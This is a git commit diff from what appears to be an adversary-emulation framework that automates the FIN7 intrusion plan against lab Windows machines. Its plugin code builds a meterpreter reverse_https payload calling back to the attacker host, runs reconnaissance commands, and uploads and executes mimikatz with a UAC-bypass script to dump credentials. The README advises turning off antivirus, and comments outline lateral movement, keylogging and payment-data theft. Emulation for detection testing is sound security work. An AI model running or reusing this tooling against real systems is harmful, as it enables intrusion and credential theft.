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Merge pull request #5 from avast/fin7_step5

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FIN7 step 5 works. mimikatz plus uac bypass is very likely flaky. Dep…
pull/8/head
Thorsten Sick 4 years ago committed by GitHub
parent 52cb7ec829 a1df98c0c0
commit 485d47402d
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GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 134 additions and 25 deletions
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16
app/metasploit.py
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@ -66,10 +66,10 @@ class Metasploit():
""" """
# TODO improve stability and speed # TODO improve stability and speed
print("Get SID") # print("Get SID")
while len(self.get_client().sessions.list) <= session_number: while len(self.get_client().sessions.list) <= session_number:
time.sleep(1) time.sleep(1)
print(f"DONE get sid {self.get_client().sessions.list}") # print(f"DONE get sid {self.get_client().sessions.list}")
return list(self.get_client().sessions.list)[session_number] return list(self.get_client().sessions.list)[session_number]
def get_sid_to(self, target): def get_sid_to(self, target):
@ -85,18 +85,19 @@ class Metasploit():
while retries > 0: while retries > 0:
for k, v in self.get_client().sessions.list.items(): for k, v in self.get_client().sessions.list.items():
if v["session_host"] == ip: if v["session_host"] == ip:
print(f"session list: {self.get_client().sessions.list}") # print(f"session list: {self.get_client().sessions.list}")
return k return k
time.sleep(1) time.sleep(1)
retries -= 1 retries -= 1
return None # TODO: Better error handlign as soon as we know where we use it return None # TODO: Better error handlign as soon as we know where we use it
def meterpreter_execute(self, cmds: [str], session_number: int) -> str: def meterpreter_execute(self, cmds: [str], session_number: int, delay=0) -> str:
""" Executes commands on the meterpreter, returns results read from shell """ Executes commands on the meterpreter, returns results read from shell
@param cmds: commands to execute, a list @param cmds: commands to execute, a list
@param session_number: session number @param session_number: session number
@param delay: optional delay between calling the command and expecting a result
@:return: the string results @:return: the string results
""" """
@ -104,24 +105,27 @@ class Metasploit():
res = [] res = []
for cmd in cmds: for cmd in cmds:
shell.write(cmd.strip()) shell.write(cmd.strip())
time.sleep(delay)
res.append(shell.read()) res.append(shell.read())
return res return res
def meterpreter_execute_on(self, cmds: [str], target) -> str: def meterpreter_execute_on(self, cmds: [str], target, delay=0) -> str:
""" Executes commands on the meterpreter, returns results read from shell """ Executes commands on the meterpreter, returns results read from shell
@param cmds: commands to execute, a list @param cmds: commands to execute, a list
@param target: target machine @param target: target machine
@param delay: optional delay between calling the command and expecting a result
@:return: the string results @:return: the string results
""" """
session_id = self.get_sid_to(target) session_id = self.get_sid_to(target)
print(f"Session ID: {session_id}") # print(f"Session ID: {session_id}")
shell = self.client.sessions.session(session_id) shell = self.client.sessions.session(session_id)
res = [] res = []
time.sleep(1) time.sleep(1)
for cmd in cmds: for cmd in cmds:
shell.write(cmd) shell.write(cmd)
time.sleep(delay)
retries = 10 retries = 10
while retries > 0: while retries > 0:
r = shell.read() r = shell.read()

54
plugins/default/adversary_emulations/FIN7/README.md
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@ -2,6 +2,60 @@
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Emulation_Plan https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Emulation_Plan
# Required files
It needs some external files to work. Please download them and put them in this folder
STEP 5:
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/fin7/Resources/Step5/samcat.exe
https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/fin7/Resources/Step5/uac-samcats.ps1
# Machines
See: https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/fin7/Emulation_Plan/Scenario_1/Infrastructure.md
## 1 hotelmanager
Initial infected machine
Windows 10, Build 18363
User dir: C:\Users\kmitnick.hospitality\AppData\Local\
Tools will be installed on this machine (mimikatz) and could be intercepted by the AV. if you do not want this, de-activate the AV or add exceptions
Required for infection:
* RTF
* VBA
* MSHTA
* winword
* verclsid https://redcanary.com/blog/verclsid-exe-threat-detection/
* tasksched
5 minutes waiting time !
## 2 itadmin
Next hacked machine. Lateral movement there through stolen credentials
Windows 10, Build 18363
## 3 accounting
Hast the valuables
Windows 10, 18363
installed:
* AccountingIQ.exe
## hoteldc
Windows Server 2k19 - Build 17763
Attacker is never traversing to it
## Decisions ## Decisions

89
plugins/default/adversary_emulations/FIN7/fin7_section1.py
Unescape Escape View File

@ -5,6 +5,7 @@
from plugins.base.attack import AttackPlugin from plugins.base.attack import AttackPlugin
from app.interface_sfx import CommandlineColors from app.interface_sfx import CommandlineColors
from app.metasploit import MSFVenom, Metasploit from app.metasploit import MSFVenom, Metasploit
import os
class FIN7Plugin(AttackPlugin): class FIN7Plugin(AttackPlugin):
@ -17,25 +18,38 @@ class FIN7Plugin(AttackPlugin):
required_files_attacker = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share required_files_attacker = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
######
payload_type_1 = "windows/x64/meterpreter/reverse_https" # payload for initial stage
def __init__(self): def __init__(self):
super().__init__() super().__init__()
self.plugin_path = __file__ self.plugin_path = __file__
self.metasploit_1 = None
def get_metasploit_1(self):
""" Returns a metasploit with a session for the first targeted machine """
if self.metasploit_1:
return self.metasploit_1
self.metasploit_1 = Metasploit(self.metasploit_password, attacker=self.attacker_machine_plugin, username=self.metasploit_user)
self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1)
return self.metasploit_1
def step1(self): def step1(self):
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1: Initial Breach{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 1 (target hotelmanager): Initial Breach{CommandlineColors.ENDC}", 1)
# TODOS: No idea if we can replicate that automated as those are manual tasks # TODOS: No idea if we can replicate that automated as those are manual tasks
# RTF with VB payload (needs user interaction) # RTF with VB payload (needs user interaction)
# playoad executed by mshta # playoad executed by mshta
# mshta build js payload # mshta build js payload
# mshta copies wscript.exe to ADB156.exe # mshta copies wscript.exe to ADB156.exe
# winword.exe spawns verclsid.exe # winword.exe spawns verclsid.exe (a normal tool that can download stuff, no idea yet what it is used for here)
# mshta uses taskschd.dll to create a task in 5 minutes # mshta uses taskschd.dll to create a task in 5 minutes
self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}End Step 1: Initial Breach{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKGREEN}End Step 1: Initial Breach{CommandlineColors.ENDC}", 1)
def step2(self): def step2(self):
self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2: Delayed Malware Execution{CommandlineColors.ENDC}", 1) self.attack_logger.vprint(f"{CommandlineColors.OKBLUE}Step 2 (target hotelmanager): Delayed Malware Execution{CommandlineColors.ENDC}", 1)
# scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/ # scheduled task spawns Adb156.exe via svchost https://attack.mitre.org/techniques/T1053/005/
# Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/ # Adb156.exe loads scrobj.dll and executes sql-rat.js via jscript https://attack.mitre.org/techniques/T1059/007/
@ -46,7 +60,7 @@ class FIN7Plugin(AttackPlugin):
def step3(self): def step3(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 3: Target Assessment{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 3 (target hotelmanager): Target Assessment{CommandlineColors.ENDC}", 1)
# TODO: Make sure logging is nice and complete # TODO: Make sure logging is nice and complete
@ -94,7 +108,7 @@ class FIN7Plugin(AttackPlugin):
""" """
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 4 (target hotelmanager): Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}", f"{CommandlineColors.OKCYAN}Create babymetal replacement{CommandlineColors.ENDC}",
@ -103,7 +117,6 @@ class FIN7Plugin(AttackPlugin):
# Generate payload: # Generate payload:
payload_name = "babymetal.exe" payload_name = "babymetal.exe"
payload_type = "windows/x64/meterpreter/reverse_https"
# TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see: # TODO: Babymetal payload is a dll. Currently we are using a simplification here (exe). Implement the proper steps. For the proper steps see:
# Several steps are required https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Resources/Step4/babymetal # Several steps are required https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/fin7/Resources/Step4/babymetal
@ -113,7 +126,7 @@ class FIN7Plugin(AttackPlugin):
# --encrypt xor : xor encrypt the results # --encrypt xor : xor encrypt the results
# --encrypt-key m : the encryption key # --encrypt-key m : the encryption key
venom = MSFVenom(self.attacker_machine_plugin, self.targets[0], self.attack_logger) venom = MSFVenom(self.attacker_machine_plugin, self.targets[0], self.attack_logger)
venom.generate_and_deploy(payload=payload_type, venom.generate_and_deploy(payload=self.payload_type_1,
architecture="x64", architecture="x64",
platform="windows", platform="windows",
lhost=self.attacker_machine_plugin.get_ip(), lhost=self.attacker_machine_plugin.get_ip(),
@ -138,34 +151,70 @@ class FIN7Plugin(AttackPlugin):
# TODO: invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/ # TODO: invoke-Shellcode.ps1 loads shellcode into powershell.exe memory (Allocate memory, copy shellcode, start thread) (received from C2 server) https://attack.mitre.org/techniques/T1573/
# https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/fin7/Resources/Step4/babymetal/Invoke-Shellcode.ps1 # https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/master/fin7/Resources/Step4/babymetal/Invoke-Shellcode.ps1
# Todo: Wait for meterpreter here # metasploit1 = self.get_metasploit_1()
metasploit = Metasploit(self.metasploit_password, attacker=self.attacker_machine_plugin, username=self.metasploit_user) # print("Got session, calling command")
metasploit.start_exploit_stub_for_external_payload(payload=payload_type) # print(metasploit.meterpreter_execute_on(["getuid"], self.targets[0]))
print("Got session, calling command")
print(metasploit.meterpreter_execute_on(["getuid"], self.targets[0]))
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKGREEN}End Step 4: Staging Interactive Toolkit{CommandlineColors.ENDC}", 1)
def step5(self): def step5(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 5 (target hotelmanager): Escalate Privileges{CommandlineColors.ENDC}", 1)
# This is meterpreter ! # This is meterpreter !
metasploit = self.get_metasploit_1()
# powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/ # powershell -> CreateToolHelp32Snapshot() for process discovery (Caldera alternative ?) https://attack.mitre.org/techniques/T1057/
self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute ps -ax through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["ps -ax"], self.targets[0]))
# powershell: GetIpNetTable() does ARP entries https://attack.mitre.org/techniques/T1016/
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute arp through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on(["arp"], self.targets[0]))
# powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/
# TODO: Add real <itadmin> ip
itadmin = "127.0.0.1"
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], self.targets[0]))
# Copy step 5 attack tools to attacker
# powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/ # powershell download from C2 server: samcat.exe (mimikatz) https://attack.mitre.org/techniques/T1507/
# tplayground = self.targets[0].get_playground()
# aplayground = self.attacker_machine_plugin.get_playground() or ""
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "samcat.exe"), "samcat.exe")
self.attacker_machine_plugin.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step5", "uac-samcats.ps1"), "uac-samcats.ps1")
cmd = "upload samcat.exe 'samcat.exe' "
print(cmd)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Uploading mimikatz through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2))
cmd = "upload uac-samcats.ps1 'uac-samcats.ps1' "
print(cmd)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Uploading UAC bypass script through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([cmd], self.targets[0], delay=2))
# execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/ # execute uac-samcats.ps1 This: spawns a powershell from powershell -> samcat.exe as high integrity process https://attack.mitre.org/techniques/T1548/002/
execute_samcats = "execute -f powershell.exe -H -i -a '-c ./uac-samcats.ps1'"
print(execute_samcats)
self.attack_logger.vprint(
f"{CommandlineColors.OKCYAN}Execute UAC bypass (and mimikatz) through meterpreter{CommandlineColors.ENDC}", 1)
print(metasploit.meterpreter_execute_on([execute_samcats], self.targets[0], delay=20))
# TODO: Make it more reliable. Also test which OS versions are working properly. It worked at least once
# samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/ # samcat.exe: reads local credentials https://attack.mitre.org/techniques/T1003/001/
# powershell: GetIpNetTable() doe ARP entries (Caldera ?) https://attack.mitre.org/techniques/T1016/
# powershell: nslookup to query domain controler for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKGREEN}End Step 5: Escalate Privileges{CommandlineColors.ENDC}", 1)
def step6(self): def step6(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 6: Expand Access{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 6 (target hotelmanager -> itadmin): Expand Access{CommandlineColors.ENDC}", 1)
# This is meterpreter ! # This is meterpreter !
@ -173,6 +222,7 @@ class FIN7Plugin(AttackPlugin):
# spawn powershell through cmd # spawn powershell through cmd
# !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/ # !!! admin host!!! use password with paexec to move lateral to it admin host https://attack.mitre.org/techniques/T1021/002/
# paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/ # paexec starts temorary windows service and executes hollow.exe https://attack.mitre.org/techniques/T1021/002/
# => Lateral move to itadmin
# hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/ # hollow.exe spawns svchost and unmaps memory image https://attack.mitre.org/techniques/T1055/012/
# svchost starts data exchange # svchost starts data exchange
@ -199,7 +249,7 @@ class FIN7Plugin(AttackPlugin):
def step8(self): def step8(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 8: User Monitoring{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 8 (target: itadmin as domain_admin): User Monitoring{CommandlineColors.ENDC}", 1)
# This is meterpreter ! # This is meterpreter !
@ -207,13 +257,14 @@ class FIN7Plugin(AttackPlugin):
# screenspy for screen capture https://attack.mitre.org/techniques/T1113/ # screenspy for screen capture https://attack.mitre.org/techniques/T1113/
# migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/ # migrate session to mstsc.exe https://attack.mitre.org/techniques/T1056/001/
# deploy keylogger https://attack.mitre.org/techniques/T1056/001/ # deploy keylogger https://attack.mitre.org/techniques/T1056/001/
# create a RDP session from itadmin -> accounting using stolen credentials
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKGREEN}End Step 8: User Monitoring{CommandlineColors.ENDC}", 1)
def step9(self): def step9(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 9: Setup Shim Persistence{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 9 (target: accounting): Setup Shim Persistence{CommandlineColors.ENDC}", 1)
# This is meterpreter ! # This is meterpreter !
@ -226,7 +277,7 @@ class FIN7Plugin(AttackPlugin):
def step10(self): def step10(self):
self.attack_logger.vprint( self.attack_logger.vprint(
f"{CommandlineColors.OKBLUE}Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1) f"{CommandlineColors.OKBLUE}Step 10 (target: accounting): Steal Payment Data{CommandlineColors.ENDC}", 1)
# This is meterpreter ! # This is meterpreter !

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